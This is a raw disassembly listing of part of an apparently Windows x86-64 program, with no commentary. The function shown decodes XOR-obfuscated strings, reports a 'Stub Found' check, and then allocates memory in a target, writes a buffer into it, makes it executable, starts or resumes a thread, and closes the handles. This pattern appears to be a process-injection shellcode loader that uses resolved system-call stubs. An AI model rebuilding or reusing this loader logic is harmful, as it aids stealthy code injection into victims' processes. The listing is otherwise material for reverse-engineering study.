call fcn.004b5c90
lea rax, [rbp + 0x2860]
lea rdx, [rbp + 0x2880]
lea r8, [0x0081ae02]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x2840]
lea rdx, [rbp + 0x2860]
lea r8, [0x0081ae5a]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x2820]
lea rdx, [rbp + 0x2840]
lea r8, [0x0081ae06]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x2800]
lea rdx, [rbp + 0x2820]
lea r8, [0x0081ae08]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x27e0]
lea rdx, [rbp + 0x2800]
lea r8, [0x0081ae04]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x27c0]
lea rdx, [rbp + 0x27e0]
lea r8, [0x0081ae60]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x27a0]
lea rdx, [rbp + 0x27c0]
lea r8, [0x0081ae4e]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x2780]
lea rdx, [rbp + 0x27a0]
lea r8, [0x0081ae58]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x2760]
lea rdx, [rbp + 0x2780]
lea r8, [0x0081ae48]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x2740]
lea rdx, [rbp + 0x2760]
lea r8, [0x0081ae04]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x2720]
lea rdx, [rbp + 0x2740]
lea r8, [0x0081ae00]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x2700]
lea rdx, [rbp + 0x2720]
lea r8, [0x0081adf8]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x26e0]
lea rdx, [rbp + 0x2700]
lea r8, [0x0081ae08]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x26c0]
lea rdx, [rbp + 0x26e0]
lea r8, [0x0081adfe]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x26a0]
lea rdx, [rbp + 0x26c0]
lea r8, [0x0081ae4a]
mov rcx, rax
call fcn.004b5c90
lea rdx, [rbp + 0x26a0]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x26a0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x26c0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x26e0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x2700]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x2720]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x2740]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x2760]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x2780]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x27a0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x27c0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x27e0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x2800]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x2820]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x2840]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x2860]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x2880]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x28a0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x28c0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x28ef]
mov rcx, rax
call fcn.0046dda0
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x28f0]
mov rcx, rax
call fcn.004a5840
mov r9, qword [rbp + 0x2cb0]
mov r8, qword [rbp + 0x2cd0]
mov rdx, qword [rbp + 0x2ca8]
lea rax, [rbp + 0x28f0]
mov rcx, qword [rbp + 0x2ce8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2d80]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x2ca4], eax
lea rax, [rbp + 0x28f0]
mov rcx, rax
call fcn.004a6300
cmp dword [rbp + 0x2ca4], 0
je 0x407d1a
lea rsi, [0x0081ae14]
jmp 0x407d21
lea rsi, [0x0081ae19]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.00430d60
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
call fcn.004017e5
test eax, eax
setne al
test al, al
je 0x407daa
lea rax, [rbp + 0x2920]
lea rdx, [rbp + 0x291f]
mov rcx, rax
call fcn.00401e60
mov rax, qword [rbp + 0x2920]
mov rdx, qword [rbp + 0x2928]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x2930]
mov rdx, qword [rbp + 0x2938]
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
lea rax, [rbp + 0x10]
mov rcx, rax
call fcn.00420130
mov ebx, 0
mov esi, 0
jmp 0x40874a
lea rax, [rbp + 0x2950]
lea rdx, [rbp + 0x294f]
mov rcx, rax
call fcn.00401f72
mov rax, qword [rbp + 0x2950]
mov rdx, qword [rbp + 0x2958]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
mov eax, dword [rbp + 0x2960]
mov dword [rbp + 0x20], eax
movzx eax, word [rbp + 0x2964]
mov word [rbp + 0x24], ax
lea rax, [rbp + 0x10]
mov rcx, rax
call fcn.0041ff70
call fcn.00401dbc
mov dword [rbp + 0x2ca0], 0xffffffff
cmp dword [rbp + 0x2ca0], 0
jne 0x407e1a
lea rcx, [0x0081ae62]
call fcn.00401540
lea rax, [rbp + 0x2973]
lea rdx, [rbp + 0x2980]
mov rcx, rax
call fcn.00402034
lea rax, [rbp + 0x2973]
mov qword [rbp + 0x2c80], rax
mov rax, qword [rbp + 0x2c80]
mov qword [rbp + 0x2c78], rax
mov rax, qword [rbp + 0x2c78]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x407ef8
mov rax, qword [rbp + 0x2c80]
mov rdx, qword [rbp + 0x2c80]
mov qword [rbp + 0x2c70], rdx
mov qword [rbp + 0x2c68], rax
mov dword [rbp + 0x2c64], 0
cmp dword [rbp + 0x2c64], 0xc
jg 0x407ef7
mov eax, dword [rbp + 0x2c64]
movsxd rdx, eax
mov rax, qword [rbp + 0x2c68]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x2c64]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8fb823ef
shr rdx, 0x20
add edx, eax
sar edx, 5
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x39
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x31
xor ecx, eax
mov rdx, qword [rbp + 0x2c70]
mov eax, dword [rbp + 0x2c64]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2c64], 1
jmp 0x407e8a
nop
lea rax, [rbp + 0x2973]
mov rcx, rax
call fcn.00401a49
mov qword [rbp + 0x2c98], rax
cmp qword [rbp + 0x2c98], 0xffffffffffffffff
jne 0x407f27
mov ebx, 0
mov esi, 0
jmp 0x40874a
lea rax, [rbp + 0x2981]
lea rdx, [rbp + 0x298e]
mov rcx, rax
call fcn.004020ae
lea rax, [rbp + 0x2981]
mov qword [rbp + 0x2c58], rax
mov rax, qword [rbp + 0x2c58]
mov qword [rbp + 0x2c50], rax
mov rax, qword [rbp + 0x2c50]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x408005
mov rax, qword [rbp + 0x2c58]
mov rdx, qword [rbp + 0x2c58]
mov qword [rbp + 0x2c48], rdx
mov qword [rbp + 0x2c40], rax
mov dword [rbp + 0x2c3c], 0
cmp dword [rbp + 0x2c3c], 0xc
jg 0x408004
mov eax, dword [rbp + 0x2c3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x2c40]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x2c3c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8fb823ef
shr rdx, 0x20
add edx, eax
sar edx, 5
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x39
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x31
xor ecx, eax
mov rdx, qword [rbp + 0x2c48]
mov eax, dword [rbp + 0x2c3c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2c3c], 1
jmp 0x407f97
nop
lea rdx, [rbp + 0x2981]
lea rax, [rbp + 0x30]
mov rcx, qword [rbp + 0x2c98]
mov r8, rcx
mov rcx, rax
call fcn.00401bfa
mov rax, qword [rbp + 0x30]
cmp rax, 0xffffffffffffffff
je 0x408036
mov rax, qword [rbp + 0x38]
cmp rax, 0xffffffffffffffff
jne 0x408045
mov ebx, 0
mov esi, 0
jmp 0x40874a
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x2c90], rax
mov rax, qword [rbp + 0x38]
mov qword [rbp + 0x2c88], rax
mov r10, qword [0x00846048]
lea rcx, [rbp + 0xa0]
lea rdx, [rbp + 0xb0]
mov rax, qword [rbp + 0x2c90]
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
mov r9, rcx
mov r8d, 0
mov rcx, rax
call r10
mov dword [rbp + 0x2ca0], eax
cmp dword [rbp + 0x2ca0], 0
je 0x40814c
lea rax, [rbp + 0x2990]
lea rdx, [rbp + 0x298f]
mov rcx, rax
call fcn.00402128
mov rax, qword [rbp + 0x2990]
mov rdx, qword [rbp + 0x2998]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x29a0]
mov rdx, qword [rbp + 0x29a8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x29b0]
mov rdx, qword [rbp + 0x29b8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x29c0]
mov rdx, qword [rbp + 0x29c8]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x29d0]
mov qword [rbp], rax
mov eax, dword [rbp + 0x29d8]
mov dword [rbp + 8], eax
mov edx, dword [rbp + 0x2ca0]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.00420a30
mov ebx, 0
mov esi, 0
jmp 0x40874a
lea rax, [rbp + 0x29e0]
lea rdx, [rbp + 0x29df]
mov rcx, rax
call fcn.0040239a
mov rax, qword [rbp + 0x29e0]
mov rdx, qword [rbp + 0x29e8]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x29f0]
mov rdx, qword [rbp + 0x29f8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2a00]
mov rdx, qword [rbp + 0x2a08]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2a10]
mov rdx, qword [rbp + 0x2a18]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x2a20]
mov qword [rbp], rax
movzx eax, byte [rbp + 0x2a28]
mov byte [rbp + 8], al
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.00420780
mov r10, qword [0x00846050]
mov r9, qword [0x00816828]
mov r8, qword [0x00846040]
mov rdx, qword [rbp + 0xb0]
mov rax, qword [rbp + 0x2c90]
lea rcx, [rbp + 0xa8]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call r10
mov dword [rbp + 0x2ca0], eax
cmp dword [rbp + 0x2ca0], 0
je 0x4082c8
lea rax, [rbp + 0x2a30]
lea rdx, [rbp + 0x2a2f]
mov rcx, rax
call fcn.004025f4
mov rax, qword [rbp + 0x2a30]
mov rdx, qword [rbp + 0x2a38]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2a40]
mov rdx, qword [rbp + 0x2a48]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2a50]
mov rdx, qword [rbp + 0x2a58]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2a60]
mov rdx, qword [rbp + 0x2a68]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x2a70]
mov qword [rbp], rax
movzx eax, word [rbp + 0x2a78]
mov word [rbp + 8], ax
mov edx, dword [rbp + 0x2ca0]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.00420860
mov ebx, 0
mov esi, 0
jmp 0x40874a
lea rax, [rbp + 0x2a80]
lea rdx, [rbp + 0x2a7f]
mov rcx, rax
call fcn.00402856
mov rax, qword [rbp + 0x2a80]
mov rdx, qword [rbp + 0x2a88]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2a90]
mov rdx, qword [rbp + 0x2a98]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2aa0]
mov rdx, qword [rbp + 0x2aa8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2ab0]
mov rdx, qword [rbp + 0x2ab8]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x2ac0]
mov qword [rbp], rax
mov eax, dword [rbp + 0x2ac8]
mov dword [rbp + 8], eax
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.00420950
mov r10, qword [0x00846058]
lea rdx, [rbp + 0xb0]
mov rax, qword [rbp + 0x2c90]
lea rcx, [rbp + 0xbc]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20
lea r8, [0x00816828]
mov rcx, rax
call r10
mov dword [rbp + 0x2ca0], eax
cmp dword [rbp + 0x2ca0], 0
je 0x40842b
lea rax, [rbp + 0x2ad0]
lea rdx, [rbp + 0x2acf]
mov rcx, rax
call fcn.00402ac8
mov rax, qword [rbp + 0x2ad0]
mov rdx, qword [rbp + 0x2ad8]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2ae0]
mov rdx, qword [rbp + 0x2ae8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2af0]
mov rdx, qword [rbp + 0x2af8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movzx eax, word [rbp + 0x2b00]
mov word [rbp - 0x10], ax
movzx eax, byte [rbp + 0x2b02]
mov byte [rbp - 0xe], al
mov edx, dword [rbp + 0x2ca0]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.004203e0
mov ebx, 0
mov esi, 0
jmp 0x40874a
lea rax, [rbp + 0x2b10]
lea rdx, [rbp + 0x2b0f]
mov rcx, rax
call fcn.00402c72
mov rax, qword [rbp + 0x2b10]
mov rdx, qword [rbp + 0x2b18]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2b20]
mov rdx, qword [rbp + 0x2b28]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2b30]
mov rdx, qword [rbp + 0x2b38]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov eax, dword [rbp + 0x2b40]
mov dword [rbp - 0x10], eax
movzx eax, word [rbp + 0x2b44]
mov word [rbp - 0xc], ax
movzx eax, byte [rbp + 0x2b46]
mov byte [rbp - 0xa], al
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.004204d0
mov r10, qword [0x00846098]
mov rax, qword [rbp + 0xb0]
mov rdx, rax
mov rax, qword [rbp + 0x2c88]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rcx, rax
call r10
mov dword [rbp + 0x2ca0], eax
cmp dword [rbp + 0x2ca0], 0
je 0x408581
lea rax, [rbp + 0x2b50]
lea rdx, [rbp + 0x2b4f]
mov rcx, rax
call fcn.00402e3c
mov rax, qword [rbp + 0x2b50]
mov rdx, qword [rbp + 0x2b58]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2b60]
mov rdx, qword [rbp + 0x2b68]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2b70]
mov rdx, qword [rbp + 0x2b78]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2b80]
mov qword [rbp - 0x10], rax
movzx eax, byte [rbp + 0x2b88]
mov byte [rbp - 8], al
mov edx, dword [rbp + 0x2ca0]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.004205b0
mov ebx, 0
mov esi, 0
jmp 0x40874a
lea rax, [rbp + 0x2b90]
lea rdx, [rbp + 0x2b8f]
mov rcx, rax
call fcn.00403016
mov rax, qword [rbp + 0x2b90]
mov rdx, qword [rbp + 0x2b98]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2ba0]
mov rdx, qword [rbp + 0x2ba8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2bb0]
mov rdx, qword [rbp + 0x2bb8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2bc0]
mov qword [rbp - 0x10], rax
mov eax, dword [rbp + 0x2bc8]
mov dword [rbp - 8], eax
movzx eax, byte [rbp + 0x2bcc]
mov byte [rbp - 4], al
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.004206a0
mov r8, qword [0x008460a0]
mov rax, qword [rbp + 0x2c88]
mov edx, 0
mov rcx, rax
call r8
mov dword [rbp + 0x2ca0], eax
cmp dword [rbp + 0x2ca0], 0
je 0x4086b1
lea rax, [rbp + 0x2bd0]
lea rdx, [rbp + 0x2bcf]
mov rcx, rax
call fcn.00403210
mov rax, qword [rbp + 0x2bd0]
mov rdx, qword [rbp + 0x2bd8]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2be0]
mov rdx, qword [rbp + 0x2be8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2bf0]
mov qword [rbp - 0x20], rax
mov eax, dword [rbp + 0x2bf8]
mov dword [rbp - 0x18], eax
movzx eax, word [rbp + 0x2bfc]
mov word [rbp - 0x14], ax
mov edx, dword [rbp + 0x2ca0]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.00420210
mov ebx, 0
mov esi, 0
jmp 0x40874a
lea rax, [rbp + 0x2c00]
lea rdx, [rbp + 0x2bff]
mov rcx, rax
call fcn.00403392
mov rax, qword [rbp + 0x2c00]
mov rdx, qword [rbp + 0x2c08]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2c10]
mov rdx, qword [rbp + 0x2c18]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2c20]
mov rdx, qword [rbp + 0x2c28]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movzx eax, byte [rbp + 0x2c30]
mov byte [rbp - 0x10], al
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.00420300
mov rdx, qword [0x00846088]
mov rax, qword [rbp + 0x2c90]
mov rcx, rax
call rdx
mov rdx, qword [0x00846088]
mov rax, qword [rbp + 0x2c88]
mov rcx, rax
call rdx
mov esi, 1
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.004a6300
cmp esi, 1
jne 0x408760
mov ebx, 0
mov eax, ebx
jmp 0x409eff
add rsp, 0x2e10
pop rbx
pop rsi
pop rbp
ret